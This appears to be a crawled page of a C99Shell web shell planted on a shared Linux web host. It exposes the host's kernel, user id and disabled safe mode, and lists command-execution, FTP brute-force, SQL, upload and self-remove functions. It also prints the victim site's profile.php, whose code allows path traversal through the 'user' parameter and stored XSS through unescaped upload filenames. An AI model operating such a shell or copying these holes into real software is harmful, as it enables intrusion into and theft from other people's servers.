!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/home/dh_z2jmpm/   drwx--x---
Free 2065.94 GB of 17882.29 GB (11.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     profile.php (1.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start();
if (!isset($_SESSION['user'])) {
  header('Location: index.php');
  exit;
}
$viewer = $_SESSION['user'];
$target = $_GET['user'] ?? $viewer;
$user_file = __DIR__ . '/users/' . $target . '.json';

if (!file_exists($user_file)) {
  die('<h1 style="color:#00ff00;">User not found.</h1>');
}

$data = json_decode(file_get_contents($user_file), true);
$is_owner = $viewer === $target;
$friends = $data['friends'] ?? [];
$posts = [];

foreach ($data['posts'] ?? [] as $post) {
  $v = $post['visibility'] ?? 'public';
  if (
    $v === 'public' ||
    ($v === 'friends' && in_array($viewer, $friends)) ||
    ($v === 'private' && $is_owner)
  ) {
    $posts[] = $post;
  }
}

usort($posts, function($a, $b) {
  return strtotime($b['timestamp']) - strtotime($a['timestamp']);
});
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title><?= htmlspecialchars($target) ?>'s Profile</title>
  <style>
    body {
      background: black;
      color: #00ff00;
      font-family: monospace;
      padding: 2rem;
    }
    .post {
      border: 1px solid #00ff00;
      padding: 1rem;
      margin-bottom: 1rem;
    }
  </style>
</head>
<body>
<?php include 'navbar.php'; ?>
<h1><?= $is_owner ? 'My' : htmlspecialchars($target) . "'s" ?> Profile</h1>
<?php foreach ($posts as $post): ?>
  <div class="post">
    <div class="timestamp"><?= htmlspecialchars(date('Y-m-d H:i', strtotime($post['timestamp']))) ?></div>
    <div class="content"><?= htmlspecialchars($post['content']) ?>
      <?php
        if (!empty($post['filename'])) {
          $file = 'uploads/' . $post['filename'];
          $ext = pathinfo($file, PATHINFO_EXTENSION);
          if (in_array($ext, ['jpg','jpeg','png','gif'])) echo '<br><img src="'.$file.'">';
          elseif ($ext === 'mp4') echo '<br><video controls src="'.$file.'"></video>';
          elseif ($ext === 'pdf') echo '<br><a href="'.$file.'" target="_blank">[PDF]</a>';
        }
      ?>
    </div>
  </div>
<?php endforeach; ?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0102 ]--